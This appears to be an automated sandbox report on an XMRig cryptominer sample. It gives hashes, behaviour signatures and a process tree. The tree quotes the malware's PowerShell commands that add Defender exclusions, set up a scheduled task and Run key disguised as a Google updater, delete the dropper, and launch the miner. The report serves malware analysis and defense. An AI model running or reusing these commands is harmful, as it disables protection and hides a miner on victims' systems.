Overview

overview

10

Static

static

3

grhddhsGHs...6).exe

windows7-x64

10

grhddhsGHs...6).exe

windows10-2004-x64

10

grhddhsGHs... K.exe

windows7-x64

10

grhddhsGHs... K.exe

windows10-2004-x64

10

grhddhsGHs...7).exe

windows7-x64

10

grhddhsGHs...7).exe

windows10-2004-x64

10

grhddhsGHs...8).exe

windows7-x64

10

grhddhsGHs...8).exe

windows10-2004-x64

10

grhddhsGHs...9).exe

windows7-x64

10

grhddhsGHs...9).exe

windows10-2004-x64

10

grhddhsGHs...0).exe

windows7-x64

10

grhddhsGHs...0).exe

windows10-2004-x64

10

grhddhsGHs...1).exe

windows7-x64

10

grhddhsGHs...1).exe

windows10-2004-x64

10

grhddhsGHs...2).exe

windows7-x64

10

grhddhsGHs...2).exe

windows10-2004-x64

10

grhddhsGHs...3).exe

windows7-x64

10

grhddhsGHs...3).exe

windows10-2004-x64

10

grhddhsGHs...4).exe

windows7-x64

10

grhddhsGHs...4).exe

windows10-2004-x64

10

grhddhsGHs...5).exe

windows7-x64

10

grhddhsGHs...5).exe

windows10-2004-x64

10

grhddhsGHs...6).exe

windows7-x64

10

grhddhsGHs...6).exe

windows10-2004-x64

10

grhddhsGHs...7).exe

windows7-x64

10

grhddhsGHs...7).exe

windows10-2004-x64

10

grhddhsGHs...8).exe

windows7-x64

10

grhddhsGHs...8).exe

windows10-2004-x64

10

grhddhsGHs...9).exe

windows7-x64

10

grhddhsGHs...9).exe

windows10-2004-x64

10

grhddhsGHs...0).exe

windows7-x64

10

grhddhsGHs...0).exe

windows10-2004-x64

10

Resubmissions

11/02/2025, 16:33

250211-t2ztsstkey 10

11/02/2025, 16:33

250211-t2zh2atkex 10

11/02/2025, 16:33

250211-t2yxhatkew 10

11/02/2025, 16:33

250211-t2nrjasqdk 10

24/10/2024, 20:12

241024-yyvg5asemn 10

24/10/2024, 20:11

241024-yygk9ssemk 10

24/10/2024, 20:11

241024-yygahasemj 10

24/10/2024, 20:11

241024-yyd55sselq 10

24/10/2024, 20:08

241024-yw247asdqp 10

24/10/2024, 20:08

241024-yw1lcssdqn 10

Analysis

  • max time kernel
    899s
  • max time network
    904s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250207-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250207-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11/02/2025, 16:33

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    grhddhsGHswgh/qM5GMXBk6hJE6Y5e (27).exe

  • Size

    2.0MB

  • MD5

    a16a669a09bf158058b83e04e69fe38e

  • SHA1

    f6c94763850d9e590d86057139e8895a7aacdeea

  • SHA256

    cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

  • SHA512

    658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

  • SSDEEP

    49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score
10/10
xmrigadwarediscoveryexecutionminerpersistenceprivilege_escalationstealerupx

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 9 IoCs
  • Xmrig family
    xmrig
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • XMRig Miner payload 30 IoCs
    miner
  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 7 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Using powershell.exe command.

    execution
  • Downloads MZ/PE file 1 IoCs
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

    persistenceprivilege_escalation
  • Executes dropped EXE 11 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Installs/modifies Browser Helper Object 2 TTPs 8 IoCs

    BHOs are DLL modules which act as plugins for Internet Explorer.

    stealeradware
  • Drops file in System32 directory 4 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • UPX packed file 31 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Drops file in Program Files directory 64 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

    discovery
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies Internet Explorer settings 1 TTPs 26 IoCs
    adwarespyware
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 38 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs
  • System policy modification 1 TTPs 4 IoCs
    defense_evasion
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3556
      • C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (27).exe
        "C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (27).exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in Program Files directory
        • Suspicious behavior: EnumeratesProcesses
        PID:1512
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2744
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2400
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:3800
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
          3⤵
            PID:5112
        • C:\Windows\System32\cmd.exe
          C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (27).exe"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:812
          • C:\Windows\System32\choice.exe
            choice /C Y /N /D Y /T 3
            3⤵
              PID:2312
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:4240
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:548
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe qtdiqnkejoz
            2⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:4648
            • C:\Windows\System32\cmd.exe
              C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
              3⤵
                PID:3108
            • C:\Windows\System32\cmd.exe
              C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:3636
              • C:\Windows\System32\Wbem\WMIC.exe
                wmic PATH Win32_VideoController GET Name, VideoProcessor
                3⤵
                • Detects videocard installed
                PID:3168
            • C:\Windows\System32\conhost.exe
              C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
              2⤵
                PID:4340
            • C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
              "C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48cmVxdWVzdCBwcm90b2NvbD0iMy4wIiB1cGRhdGVyPSJPbWFoYSIgdXBkYXRlcnZlcnNpb249IjEuMy4xOTUuNDMiIHNoZWxsX3ZlcnNpb249IjEuMy4xOTUuNDMiIGlzbWFjaGluZT0iMSIgc2Vzc2lvbmlkPSJ7QTEwQzJGOEYtQzhGNC00QTg3LUFGQzctQkMxMzlENDNFOEFEfSIgdXNlcmlkPSJ7OEY3QzFDODEtMjJDMy00QzA3LUIyMUUtOTc0MjlEQ0YyNUVFfSIgaW5zdGFsbHNvdXJjZT0ibGltaXRlZCIgcmVxdWVzdGlkPSJ7NTU1NjcxMzMtMjNBMy00NDhBLThCNTUtQTAxOEM3MkYzRkQ0fSIgZGVkdXA9ImNyIiBkb21haW5qb2luZWQ9IjAiPjxodyBsb2dpY2FsX2NwdXM9IjIiIHBoeXNtZW1vcnk9IjQiIGRpc2tfdHlwZT0iMiIgc3NlPSIxIiBzc2UyPSIxIiBzc2UzPSIxIiBzc3NlMz0iMSIgc3NlNDE9IjEiIHNzZTQyPSIxIiBhdng9IjEiLz48b3MgcGxhdGZvcm09IndpbiIgdmVyc2lvbj0iMTAuMC4xOTA0MS4xMjg4IiBzcD0iIiBhcmNoPSJ4NjQiIHByb2R1Y3RfdHlwZT0iNDgiIGlzX3dpcD0iMCIgaXNfaW5fbG9ja2Rvd25fbW9kZT0iMCIvPjxvZW0gcHJvZHVjdF9tYW51ZmFjdHVyZXI9IiIgcHJvZHVjdF9uYW1lPSIiLz48ZXhwIGV0YWc9IiZxdW90O0UreGJBejZZNnNVMTI4OWJTNnFsNFZSTGJramZCVUdUTUpzanJIcjQ0aUk9JnF1b3Q7Ii8-PGFwcCBhcHBpZD0iezhBNjlEMzQ1LUQ1NjQtNDYzYy1BRkYxLUE2OUQ5RTUzMEY5Nn0iIHZlcnNpb249IjEyMy4wLjYzMTIuMTIzIiBuZXh0dmVyc2lvbj0iIiBsYW5nPSJlbiIgYnJhbmQ9IkdHTFMiIGNsaWVudD0iIiBpbnN0YWxsYWdlPSI0IiBpbnN0YWxsZGF0ZXRpbWU9IjE3Mzg5NDY4ODkiIG9vYmVfaW5zdGFsbF90aW1lPSIxMzM4MzQxOTM2NTgwOTAwMDAiPjxldmVudCBldmVudHR5cGU9IjMxIiBldmVudHJlc3VsdD0iMSIgZXJyb3Jjb2RlPSIwIiBleHRyYWNvZGUxPSIyMTc5ODYyIiBzeXN0ZW1fdXB0aW1lX3RpY2tzPSI1MDEzNDE4MTU1Ii8-PC9hcHA-PC9yZXF1ZXN0Pg
              1⤵
              • System Location Discovery: System Language Discovery
              • System Network Configuration Discovery: Internet Connection Discovery
              PID:4024
            • C:\Program Files\Google\Chrome\updater.exe
              "C:\Program Files\Google\Chrome\updater.exe"
              1⤵
              • Suspicious use of NtCreateUserProcessOtherParentProcess
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of WriteProcessMemory
              PID:2376
            • C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{2D961F36-C2D6-41B8-9619-562D90917589}\MicrosoftEdge_X64_132.0.2957.140.exe
              "C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{2D961F36-C2D6-41B8-9619-562D90917589}\MicrosoftEdge_X64_132.0.2957.140.exe" --msedge --verbose-logging --do-not-launch-msedge --system-level --channel=stable
              1⤵
              • Suspicious use of WriteProcessMemory
              PID:228
              • C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{2D961F36-C2D6-41B8-9619-562D90917589}\EDGEMITMP_9A6E9.tmp\setup.exe
                "C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{2D961F36-C2D6-41B8-9619-562D90917589}\EDGEMITMP_9A6E9.tmp\setup.exe" --install-archive="C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{2D961F36-C2D6-41B8-9619-562D90917589}\MicrosoftEdge_X64_132.0.2957.140.exe" --msedge --verbose-logging --do-not-launch-msedge --system-level --channel=stable
                2⤵
                • Boot or Logon Autostart Execution: Active Setup
                • Executes dropped EXE
                • Installs/modifies Browser Helper Object
                • Drops file in Program Files directory
                • Modifies Internet Explorer settings
                • Modifies registry class
                • Suspicious use of WriteProcessMemory
                • System policy modification
                PID:4004
                • C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{2D961F36-C2D6-41B8-9619-562D90917589}\EDGEMITMP_9A6E9.tmp\setup.exe
                  "C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{2D961F36-C2D6-41B8-9619-562D90917589}\EDGEMITMP_9A6E9.tmp\setup.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Program Files\MsEdgeCrashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=132.0.6834.160 "--annotation=exe=C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{2D961F36-C2D6-41B8-9619-562D90917589}\EDGEMITMP_9A6E9.tmp\setup.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=132.0.2957.140 --initial-client-data=0x224,0x228,0x22c,0x1ec,0x230,0x7ff7221da818,0x7ff7221da824,0x7ff7221da830
                  3⤵
                  • Executes dropped EXE
                  PID:4672
                • C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{2D961F36-C2D6-41B8-9619-562D90917589}\EDGEMITMP_9A6E9.tmp\setup.exe
                  "C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{2D961F36-C2D6-41B8-9619-562D90917589}\EDGEMITMP_9A6E9.tmp\setup.exe" --msedge --channel=stable --system-level --verbose-logging --create-shortcuts=2 --install-level=1
                  3⤵
                  • Executes dropped EXE
                  • Drops file in System32 directory
                  • Suspicious use of WriteProcessMemory
                  PID:4484
                  • C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{2D961F36-C2D6-41B8-9619-562D90917589}\EDGEMITMP_9A6E9.tmp\setup.exe
                    "C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{2D961F36-C2D6-41B8-9619-562D90917589}\EDGEMITMP_9A6E9.tmp\setup.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Program Files\MsEdgeCrashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=132.0.6834.160 "--annotation=exe=C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{2D961F36-C2D6-41B8-9619-562D90917589}\EDGEMITMP_9A6E9.tmp\setup.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=132.0.2957.140 --initial-client-data=0x224,0x228,0x22c,0x200,0x230,0x7ff7221da818,0x7ff7221da824,0x7ff7221da830
                    4⤵
                    • Executes dropped EXE
                    • Drops file in Program Files directory
                    PID:2120
                • C:\Program Files (x86)\Microsoft\Edge\Application\132.0.2957.140\Installer\setup.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\132.0.2957.140\Installer\setup.exe" --msedge --channel=stable --register-package-identity --verbose-logging --system-level
                  3⤵
                  • Executes dropped EXE
                  • Drops file in Program Files directory
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of WriteProcessMemory
                  PID:2512
                  • C:\Program Files (x86)\Microsoft\Edge\Application\132.0.2957.140\Installer\setup.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\132.0.2957.140\Installer\setup.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Program Files\MsEdgeCrashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=132.0.6834.160 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\132.0.2957.140\Installer\setup.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=132.0.2957.140 --initial-client-data=0x228,0x22c,0x230,0x224,0x234,0x7ff63d12a818,0x7ff63d12a824,0x7ff63d12a830
                    4⤵
                    • Executes dropped EXE
                    • Drops file in Program Files directory
                    PID:4996
                • C:\Program Files (x86)\Microsoft\Edge\Application\132.0.2957.140\Installer\setup.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\132.0.2957.140\Installer\setup.exe" --msedge --channel=stable --remove-deprecated-packages --verbose-logging --system-level
                  3⤵
                  • Executes dropped EXE
                  • Suspicious use of WriteProcessMemory
                  PID:1444
                  • C:\Program Files (x86)\Microsoft\Edge\Application\132.0.2957.140\Installer\setup.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\132.0.2957.140\Installer\setup.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Program Files\MsEdgeCrashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=132.0.6834.160 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\132.0.2957.140\Installer\setup.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=132.0.2957.140 --initial-client-data=0x224,0x228,0x22c,0x200,0x230,0x7ff63d12a818,0x7ff63d12a824,0x7ff63d12a830
                    4⤵
                    • Executes dropped EXE
                    • Drops file in Program Files directory
                    PID:2108
                • C:\Program Files (x86)\Microsoft\Edge\Application\132.0.2957.140\Installer\setup.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\132.0.2957.140\Installer\setup.exe" --msedge --channel=stable --update-game-assist-package --verbose-logging --system-level
                  3⤵
                  • Executes dropped EXE
                  • Suspicious use of WriteProcessMemory
                  PID:2400
                  • C:\Program Files (x86)\Microsoft\Edge\Application\132.0.2957.140\Installer\setup.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\132.0.2957.140\Installer\setup.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Program Files\MsEdgeCrashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=132.0.6834.160 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\132.0.2957.140\Installer\setup.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=132.0.2957.140 --initial-client-data=0x224,0x228,0x22c,0x200,0x230,0x7ff63d12a818,0x7ff63d12a824,0x7ff63d12a830
                    4⤵
                    • Executes dropped EXE
                    • Drops file in Program Files directory
                    PID:4680
            • C:\Windows\System32\svchost.exe
              C:\Windows\System32\svchost.exe -k AppReadiness -p -s AppReadiness
              1⤵
                PID:2612
              • C:\Program Files\WindowsApps\Microsoft.MicrosoftOfficeHub_18.1903.1152.0_x64__8wekyb3d8bbwe\LocalBridge.exe
                "C:\Program Files\WindowsApps\Microsoft.MicrosoftOfficeHub_18.1903.1152.0_x64__8wekyb3d8bbwe\LocalBridge.exe" /InvokerPRAID: Microsoft.MicrosoftOfficeHub prelaunch
                1⤵
                • Suspicious behavior: EnumeratesProcesses
                PID:3284
              • C:\Windows\system32\wwahost.exe
                "C:\Windows\system32\wwahost.exe" -ServerName:Microsoft.MicrosoftOfficeHub.wwa
                1⤵
                • Modifies Internet Explorer settings
                • Modifies registry class
                • Suspicious use of SetWindowsHookEx
                PID:4628
              • C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
                "C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48cmVxdWVzdCBwcm90b2NvbD0iMy4wIiB1cGRhdGVyPSJPbWFoYSIgdXBkYXRlcnZlcnNpb249IjEuMy4xOTUuNDMiIHNoZWxsX3ZlcnNpb249IjEuMy4xOTUuNDMiIGlzbWFjaGluZT0iMSIgc2Vzc2lvbmlkPSJ7QTEwQzJGOEYtQzhGNC00QTg3LUFGQzctQkMxMzlENDNFOEFEfSIgdXNlcmlkPSJ7OEY3QzFDODEtMjJDMy00QzA3LUIyMUUtOTc0MjlEQ0YyNUVFfSIgaW5zdGFsbHNvdXJjZT0ic2NoZWR1bGVyIiByZXF1ZXN0aWQ9IntBQTQ5NDI0NC1DQTk5LTRFNzAtQjdBNi1CRDk0RDVDNDJENzN9IiBkZWR1cD0iY3IiIGRvbWFpbmpvaW5lZD0iMCI-PGh3IGxvZ2ljYWxfY3B1cz0iMiIgcGh5c21lbW9yeT0iNCIgZGlza190eXBlPSIyIiBzc2U9IjEiIHNzZTI9IjEiIHNzZTM9IjEiIHNzc2UzPSIxIiBzc2U0MT0iMSIgc3NlNDI9IjEiIGF2eD0iMSIvPjxvcyBwbGF0Zm9ybT0id2luIiB2ZXJzaW9uPSIxMC4wLjE5MDQxLjEyODgiIHNwPSIiIGFyY2g9Ing2NCIgcHJvZHVjdF90eXBlPSI0OCIgaXNfd2lwPSIwIiBpc19pbl9sb2NrZG93bl9tb2RlPSIwIi8-PG9lbSBwcm9kdWN0X21hbnVmYWN0dXJlcj0iIiBwcm9kdWN0X25hbWU9IiIvPjxleHAgZXRhZz0iJnF1b3Q7VlBRb1AxRitmcTE1d1J6aDFrUEw0UE1wV2g4T1JNQjVpenZyT0MvY2hqUT0mcXVvdDsiLz48YXBwIGFwcGlkPSJ7RjNDNEZFMDAtRUZENS00MDNCLTk1NjktMzk4QTIwRjFCQTRBfSIgdmVyc2lvbj0iMS4zLjE5NS40MyIgbmV4dHZlcnNpb249IiIgbGFuZz0iIiBicmFuZD0iSU5CWCIgY2xpZW50PSIiIGluc3RhbGxhZ2U9IjQiIGNvaG9ydD0icnJmQDAuMTkiPjx1cGRhdGVjaGVjay8-PHBpbmcgcj0iNCIgcmQ9IjY2MTIiIHBpbmdfZnJlc2huZXNzPSJ7M0E3N0FFN0UtQkVEOC00RTA1LTg2ODgtRDUzQ0RGMDlCRkRCfSIvPjwvYXBwPjxhcHAgYXBwaWQ9Ins1NkVCMThGOC1CMDA4LTRDQkQtQjZEMi04Qzk3RkU3RTkwNjJ9IiB2ZXJzaW9uPSI5Mi4wLjkwMi42NyIgbmV4dHZlcnNpb249IjEzMi4wLjI5NTcuMTQwIiBsYW5nPSIiIGJyYW5kPSJJTkJYIiBjbGllbnQ9IiIgZXhwZXJpbWVudHM9ImNvbnNlbnQ9ZmFsc2UiIGluc3RhbGxhZ2U9IjQiIGlzX3Bpbm5lZF9zeXN0ZW09InRydWUiIGxhc3RfbGF1bmNoX2NvdW50PSIxIiBsYXN0X2xhdW5jaF90aW1lPSIxMzM4MzQyMjgxNDI4NDM0OTAiPjx1cGRhdGVjaGVjay8-PGV2ZW50IGV2ZW50dHlwZT0iMTIiIGV2ZW50cmVzdWx0PSIxIiBlcnJvcmNvZGU9IjAiIGV4dHJhY29kZTE9IjAiIHN5c3RlbV91cHRpbWVfdGlja3M9IjUxNjQ1MTIyMTEiIGRvbmVfYmVmb3JlX29vYmVfY29tcGxldGU9IjAiLz48ZXZlbnQgZXZlbnR0eXBlPSIxMyIgZXZlbnRyZXN1bHQ9IjEiIGVycm9yY29kZT0iMCIgZXh0cmFjb2RlMT0iMCIgc3lzdGVtX3VwdGltZV90aWNrcz0iNTE2NDUxMjIxMSIgZG9uZV9iZWZvcmVfb29iZV9jb21wbGV0ZT0iMCIvPjxldmVudCBldmVudHR5cGU9IjE0IiBldmVudHJlc3VsdD0iMCIgZXJyb3Jjb2RlPSItMjE0NzAyMzgzOCIgZXh0cmFjb2RlMT0iMCIgc3lzdGVtX3VwdGltZV90aWNrcz0iNjQ2NDUxMjA5NSIgc291cmNlX3VybF9pbmRleD0iMCIgZG9uZV9iZWZvcmVfb29iZV9jb21wbGV0ZT0iMCIgZG93bmxvYWRlcj0iZG8iIHVybD0iaHR0cDovL21zZWRnZS5iLnRsdS5kbC5kZWxpdmVyeS5tcC5taWNyb3NvZnQuY29tL2ZpbGVzdHJlYW1pbmdzZXJ2aWNlL2ZpbGVzLzA3NDAwMzZhLTRlMTgtNDU2ZC05NmZhLWQxZDljNGNhNDY3Nj9QMT0xNzM5ODk3NzcwJmFtcDtQMj00MDQmYW1wO1AzPTImYW1wO1A0PWRQb3Z4QWhzaUpmdXdMJTJma2hmbEJUVEgwYTlkUE5KJTJmZ1RPWDhwNmp3MUt0WG4wVWtjejVwcHMwZmZGbGxtU3NPSzVwdWdRZGMwam5lUElhb3V6OGVmQSUzZCUzZCIgc2VydmVyX2lwX2hpbnQ9IiIgY2RuX2NpZD0iLTEiIGNkbl9jY2M9IiIgY2RuX21zZWRnZV9yZWY9IiIgY2RuX2F6dXJlX3JlZl9vcmlnaW5fc2hpZWxkPSIiIGNkbl9jYWNoZT0iIiBjZG5fcDNwPSIiIGRvd25sb2FkZWQ9IjAiIHRvdGFsPSIwIiBkb3dubG9hZF90aW1lX21zPSIwIi8-PGV2ZW50IGV2ZW50dHlwZT0iMTQiIGV2ZW50cmVzdWx0PSIxIiBlcnJvcmNvZGU9IjAiIGV4dHJhY29kZTE9IjAiIHN5c3RlbV91cHRpbWVfdGlja3M9IjY0NjQ1MTIwOTUiIHNvdXJjZV91cmxfaW5kZXg9IjAiIGRvbmVfYmVmb3JlX29vYmVfY29tcGxldGU9IjAiIGRvd25sb2FkZXI9ImJpdHMiIHVybD0iaHR0cDovL21zZWRnZS5iLnRsdS5kbC5kZWxpdmVyeS5tcC5taWNyb3NvZnQuY29tL2ZpbGVzdHJlYW1pbmdzZXJ2aWNlL2ZpbGVzLzA3NDAwMzZhLTRlMTgtNDU2ZC05NmZhLWQxZDljNGNhNDY3Nj9Q